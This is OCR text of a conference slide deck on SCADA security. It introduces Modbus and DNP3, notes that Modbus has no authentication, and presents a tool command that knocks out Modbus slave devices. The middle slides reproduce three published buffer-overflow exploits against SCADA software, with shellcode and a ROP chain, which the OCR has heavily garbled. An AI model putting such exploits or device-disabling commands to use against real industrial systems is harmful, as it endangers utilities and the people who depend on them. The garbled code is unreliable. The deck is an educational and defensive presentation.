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/ About Me

e Yaniv Miron aka Lament
 Security Researcher and Consultant
« Working as a Senior Security Consultant @ FortConsulit

« Found security vulnerabilities in IBM, Oracle, Microsoft
and Apache products as in other products

« CISO Certified from the Technion (Israel Institute of
Technology)

e Certified Locksmith




/ About FortConsult

e IT security company established in 2002 by Ulf Munkedal
e We provide unbiased straight talk on IT security

» Security -
Standards Council

QUALIFIED SECURITY

* We are specialized in
>Vulnerabily assessments and penetration tests
»PCI compliance audits, consultancy, and penetration
tests
»Ad hoc special conultancy

26 employees with more than 25 international IT security
certifications

* HQ in Denmark, delivery centers in Denmark and

__Lithuania, and branch office in Russia
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« SCADA ?

« SCADA Security ??

« SCADA Hacking ???
 Dismal SCADA'!

« SCADA vs. ISCADA vs. old ISCADA
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We will not talk about...

What is SCADA (just a short intro... probably there are
some people here that didn't worked with SCADA).




SCADA

“"SCADA (supervisory control and data acquisition)
generally refers to industrial control systems: computer
systems that monitor and control industrial, infrastructure,

or facility-based processes.”

-Wikipedia (PwNz)




General concepts in SCADA

*HMI - Human Machine Interface is the apparatus which
presents process data to a human operator, and through
this, the human operator monitors and controls the
process.

*RTU - Remote Terminal Units connecting to sensors in the
process, converting sensor signals to digital data and
sending digital data to the supervisory system.

*PLC - Programmable Logic Controller is used as field
devices because they are more economical, versatile,
flexible, and configurable than special-purpose RTUs.
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SCADA Security

So in the old days it was easy... Like everything else In
security. SCADA systems were isolated and not connected
to the internet. So it was mostly internal threat.
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Remote Terminal - SCADA Intemet connected laptop
That's conrected o the internal network
And running a SCADA simulatar
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SCADA Security cont.

SCADA systems are not isolated as they were... Some of
the SCADA systems are just a click away from on a
windows desktop as any other application. Of course the
windows machine connected to the internet and the
employee surfs in porn websites.

(l 1)
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Remote Termimal - SCADA Intemet connected laptop
That's conrected to the internal nebwork

And running a SCADA simulator
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Protocols

The are several major protocols in addition to the use
TCP.
Some of them are:

-DNP3




The DNP3 Protocol

DNP - Distributed Network Protocol (3)

DNP3 is a set of communications protocols used between
components in process automation systems.

Its main use is Iin utilities such as electric and water
companies. Usage in other industries is not common.

It was developed for communications between various
types of data acquisition and control equipment.

It is primarily used for communications between a master
station and RTUs or IEDs.




The ModBus Protocol

Modbus is a serial communications protocol published by
Modicon in 1979 for use with its programmable logic
controllers (PLCs).

Simple and robust, it has since become one of the de facto
standard communications protocols in the industry, and it
is now amongst the most commonly available means of
connecting industrial electronic devices.




ModBus Versions

Modbus RTU
Modbus ASCII
Modbus TCP/IP or Modbus TCP

Modbus over TCP/IP or Modbus over TCP or Modbus
RTU/IP

Modbus over UDP

Modbus Plus (Modbus+, MB+ or MBP)
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Protocols that we ignore now

RP-570, Profibus and Conitel and some more

If you want to learn about them read in Wikipedia




ModBus/TCP

ModBus/TCP

Modbus TCP Frame Format

Name Length Function

W

e T aT=
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Transaction ldentifier 2 bytes _
: & client

Protocol ldentifier 2 bytes Zero for MODBUS/TCP
Length Field 2 bytes | Numi F

Unit Identifier 1 byte

Function code 1 byte

Data bytes n bytes | Data as response or commands




ModBus Functions

Physical Discrete Inputs
Bit access . _ .
Internal Bits or Physical Cails

Physical Input Registers

Data Access

16-bit access _ _ _
Internal Registers or Physical Output Registers

File Record Access

Diagnostics

Function Name
Read Discrete Inputs
Read Coils
Write Single Coil
Write Multiple Coils
Read Input Register
Read Holding Registers
Write Single Register

Write Multiple Registers

Read/\Write Multiple Registers

Mask VWrite Register
Read FIFO Queue
Read File Record

Write File Record

Read Exception Status
Diagnostic

Get Com Event Counter
Get Com Event Log
Report Slave D

Read Device Identification

Function Code

16
23
22
24
20
21
7

g

11
12
17

43

Encapsulated Interface Transport |43




Who uses ModBus?

SCADA systems ;)




ModBus Security?

NONE'!

Authentication ?

User? Password?




I SEE U - ModBus Fingerprint

ModBus TCP usually uses port 502...

Sniff the network... you will see the ModBus commands
being sent all over




The Tool

The tool named “"SCADA Dismal”.

Dismal:
“1. causing gloom or dejection; gloomy; dreary;
cheerless; melancholy: dismal weather.”

Why this is the name of the tool?
Because that how I felt when I've heard about
SCADA security.




Why did I wrote it?

Had to do some SCADA PT, didn't found a good tool that
would do the things that I need to prove. One command
from the tool did it. Client is happy, I'm happy. I win.




Set a Slave

So for the test we will have to set a Slave and a Master.
Yeah slavery is illegal in most of the world. But it's not
illegal in the machines world.

Q - What is a Slave?
A - An app / device that gets commands from it's Master

MODBUS




Set a Master

Setting a Master, the master is the all mighty commander
that control the slaves. Again, it's legal in the machines
world.

MODBUS




Tool Command #1

The Report command

The report command will get us some information on the
Slave device.




Tool Commmand #2

The ForcelListen command

Definitely will kill the slave device, the command would

force him to be in listen mode, without accepting any other
command.

HACKED




Tool Command #3

The Releaselisten command

Well, we want a way to fix the ForceListen command, so
ReleaselListen will heal the slave.




Other attack methods

So other that attacking Modbus SCADA devices with the
Dismal tool you can do it in the good old way, which is
pentesting it (same as pentesting infrastructure but with
some changes)

OR you can use some Metasploit

OR you can use Exploit-DB

OR you can DO IT ALL!
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Exploit #1 - PS

Exploit Title: KingView 6.5.3 SCADA ActiveX

Date: March 87 2811

Author: Carlos Mario Penagos Hollmann

Software Link: http://download.kingview.com/software/kingviewXk2@English*28Version/kingviews.53 EM.rar
Version: 6.53 (English)

Tested on: Windows xp sp3 running on VMware Fusion 3.1 and VirtualBox 3.2.8

Thanks to Dillon Beresford for Heap Exploit
<html:»
mail----» shogilord~gmail.com spams are welcome

COLOMBIA hacking presents
Beijing WellinControl Technology Development Co.,Ltd FIX your KViebSwvr.dll

<object classid= ’151d F3 lCJzET—C:FH AESC-BB95-521BAE858668D" id="target' /»</object:

<script language="javascript'»

nse="%xEB\xB6\x90\x00" ;

seh=""xdEYx28\xD1\x72" ;

nops="%x98";

while (nops.length<18){ nops+="'x98";1

/*Calc.exe alpha_upper badchars --» "'“x8b'\x93%\x83'\x8a\¥BC\xBd \ BT \ B \ ¥EBT \ MB1\ X84\ XBE \ XEE \ MED\ ¥O8\ ¥O1\ 02\ x0
YxOdhxObhxa -\ x76%/

shell=""x=54%x5F xda xdF i\ xdo\x 77\ xFax5e  x564 x50\ x4 9% x40 x4 9% A0 x4 30 A 3 a3 A 3 A 30 A 34 x5 1A w53\ w56 54\ x58 N\
A EAV LA EAV EALLURS LA LR LARS LAY SLALLARE LURS EURS EFAS LARS LA EFAS LA LA ES LY LA LRSS AR ST A EEAS LURS LY
LEEER CIRV SV EEAVENAM EAY SNV EAY SNV EAY SOV G A EVAL G EAY VARG EAY CEAVENRY VAV LIRS CEAVEERY CIAV LAY RV ELRY )
W SANHIT oAb A 5B\ xEE A1\ 41" ;

Junkl="A";

Junk2="A";

while {junkl.length<624){ junkl+=junkl;}

Junkl=junkl.substring{@,624);

Ee——mm junk2=Jjunkil;

while (junk2.length<88733{ junk2s=junk2;}

5*:¢-3J1<1 nse+seh+nops+shell+junk?;




Exploit #1 - Detalls

# Active X BoF

# Exploit Title: KingView 6.5.3 SCADA ActiveX
# Date: March 07 2011

# Author: Carlos Mario Penagos Hollmann

# Version: 6.53 (English)

# Tested on: Windows xp sp3 running on VMware Fusion
3.1 and VirtualBox 3.2.8




Exploit #2 - PS

Windows/e
shellcode =

®ec CMD=calc.exe

"\ xb8\xd5\ A5\ e\ xcd \ nda\xde \ xd9\ 74\ 24\ xFA\ x5b\ 33\ 9"
Wbl 333D\ 43NN 20\ B3\ kA3 N\ X120 K83\ 3e \ b O\ wed \ 31\ 3"
Wraah e\ kb b\ xZb 1333\ x50 Kl e\ 2T \ w28 \ e f \ o5
W23\ x7e\xbo\xSe\ X6l \xEa\ x37 \x12\ Xae\ x9d\ xfe\x00\ x88 \ x00"
WBLA X2\ X1G AT e\ el k2 ke \ xT X169\ xde\ x4 F \ xeb\xda"
WAL xad \ x84\ xBB\ xcelh xba\ x3I7 X35 T a v x e\ x8b\x34 \ nac\x75"
b3 xde o9\ x40 xA8\ xe S\ nde \ X090\ xf O\ 72\ 92\ k81 \ k7 1\ xd "
W3bA\ 3N HEA 3 \ AT \ 7 h \xd 3\ F o\ 3\ KT e\ 35\ A\ ko xdd”
AXTON\XEBbY\ 2\ NE2\ T4\ xd5\xE3 \ xA4A\ x0T \ a2\ T\ xb7 \x1a\xb3"
bbby xca\xcB\ 36\ XSeh\ 6\ x82\ xe 1\ Xxba\ x8d \ x4 7\ xT7 7\ 4B\ x81"
W2 TN H1E VW EBE A xbh 3 ndB \ w2\ b1\ X328\ xd T e 2\ 3B\ T e\ xf
WHZEA X1\ xd8\x9d\ T F A e T A B8P\ xa2\ xed\ xaf \ x 7O\ xB7 \ nea\ x5d"
VB4 X3\ xb 1\ XBb A\ xTb\xb 3\ e F AT 2\ x7b\ xcbh\ xcFixdda\ x 14\ xfa"
WAAN\ bbby eI\ eI\ KB\ B\ xOC\ A9\ x02 \ xa8 \ 34\ x 14\ x40\ xed"
WEBAHaT \xbo\m2d\ KBS\ 24\ 30\ o d VK92 3\ w3\ e B ndF 2

Fa
Wrac\Hal\ ¥\ x0T \xd 2\ 217\ 270\ xb2 \ xbe\ xfE ka2 xCe\ w10\ x0d"
VB2V oLy AR

payload
payload <<
payload <<
payload <«
payload <«
payload <«

pack "GET
pack << "Ho

puts "packe

IIHII

* 1599

\xeb\xeahxog\xoa" Pointer to Mext SE
[@x719737FA] .pack({"V*") # SEH Handler
"hxaa” 44

shellcode

"\ 208" = (4858 - shellcode.length)

"
=

Handler
oS pdr

H

f#{payload} HTTR/1.1%r\n"
st: hitp://#{@ip}:#{@port}irinirin

T sended.”

if send{pack)




Exploit #2 - Detalls

# Sunway Force Control SCADA httpsvr.exe Exploit
# Exploitable with simple SEH Overwrite technique
# Tested on XP SPO English

# Probably will work on XP SP3 if you find none-safeseh dli
for p/p/r pointer

# Canberk BOLAT | @cnbrkbolat

# Vendor: http://www.sunwayland.com.cn/




Exploit #3 - PS

A F7A 01N\ x5bA 68\ X7\ xB6 \x5b\xal";

“} =5 a}{
add esp 418; retn
"Yxebh\x33\ oo\ xel";
\xeb\xBEoHI";

o
a

AWxlch\xB5\xB83\x1e" .
\xa2l\xce\xB82\xle".
Wrfahx11\xee\xad"”.
Wxafi\xdel\xB8lh\x1e".
"\xd7\xbf\xe1\x10".
BT - AT S R AR o S b
"wxlewxed\xg2i\x18".
"LOLZ". f

xor edx,edx;

pop eax; retn

&virtualProtect

mov eax,[=ax]; retn

push eax; mov eax, [edx*4+18636948]; and eax,esi; po

special sauce

add edx,ebx;
junk

rectn

pop ebx;
Wweah\x3I7\xceh\xel".
"CAFEBABE". /7
"CAFEBABE". /7

/f neg edx; neg eax; sbb edx,®; pop ebx; retn 1@
junk
Jjunk
WabfyxE2\xce v xel”. J/f
“Wxa2ixceh\xez2ixle"”.
"CAFEBABE". I

"CAFEBABE".

.data writable
pop eax; retn

" I
i

Jjunk
/7 junk

Wwl7A\x32W\xce\xB81". /S ptr to Gx480

"\xaf\xdel\xB1i\x10".
"\xed\ x85\xB2\x108".
\xa2\xce\xB2\x1e".
YO8 9B\ xoah xoa",
"\xG53\x54\xl1e\x18"
"hwSdhxSdhwlehxla”
"\xB1\xech\xB2\x10".
WHCBA\XE2\ e\ el .
"AxB3h\xcB\x17\x10".
"\xdd4hwebhh\x2bi\x1e".
\xb7\c9\x27\x16";

mov eax,[eax]; retn

xchg eax,ebx; add dl,[eax]; mov

pop eax;
nops

pop edi;
retn

pop ecx; retn
.data writable
pop ebp; retn

ptr to 'push esp;
pushad; retn

rectn

retn

ret’

[gax+8],11; mov eax




Exploit #3 - Detalls

# ScadaTEC ModbusTagServer & ScadaPhone (.zip) buffer
overflow exploit (0Oday)

# Date: 09/09/2011

# Author: mr_me (@net___ninja)

# Vendor: http://www.scadatec.com/
# ScadaPhone Version: <= 5.3.11.1230

# ModbusTagServer Version: <= 4.1.1.81

S =

~# Tested on: Windows XP-SP3 NX=AlwaysOn/OptIn—




Who may find bugs?

Users? Old employees that uses SCADA, Maybe thought in
old time that its just a bug and ignored it. But NOT
anymore, now they probably know it’s a security breach.

HACKERS

Security researchers and pentesters




Protection?

What the hell is ASLR? DEP? SafeSEH? ...




Fuzzing

"Fuzzing is a software testing technique, often automated
or semi-automated, that involves providing invalid,
unexpected, or random data to the inputs of a computer
program. The program is then monitored for exceptions

such as crashes...” -wikipedia

Come on...how hard is it to write a fuzzer for SCADA

applications?




Reversing

IDA baby...use IDA (or olly, or something else)

“"IDA is a Windows, Linux or Mac OS X hosted multi-
processor disassembler and debugger that offers so many
features it is hard to describe them all." —their website

“"OllyDbg is a 32-bit assembler level analysing debugger for
Microsoft Windows. Emphasis on binary code analysis
makes it particularly useful in cases where source is
unavailable. OllyDbg is a shareware, but you can download

and use it for free.” —their website N
< OllyDbg




Attack mitigation

Separate your SCADA network.
Separate your SCADA network.
Separate your SCADA network.

You can’t fix the entire system, user some preventive
measures.

False-positive ??




Firewalls?

YES! Firewall could be a great help here, in addition, a web
application firewall (WAF) could also help here. Because at
the end SCADA application as just applications.




IDS/IPS

Signatures and Heuristic detection
Probably IDS & Monitor it!

IPS? Might have a bad signature or bad detection :/




Live Demo!




To wrap it all up

SCADA security is bad, very bad, SCADA protocols are bad,
very bad.

In the short run we need to use mitigation. In the long run
we need to fix some stuff and use some secured protocols.

We don’t want our electricity, water and oil system to be
hacked for fun and profit.
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Thank you!
Questions?
>>

Yaniv Miron aka Lament @ FortConsult

. Ingod we trust, all others we monitor. ——
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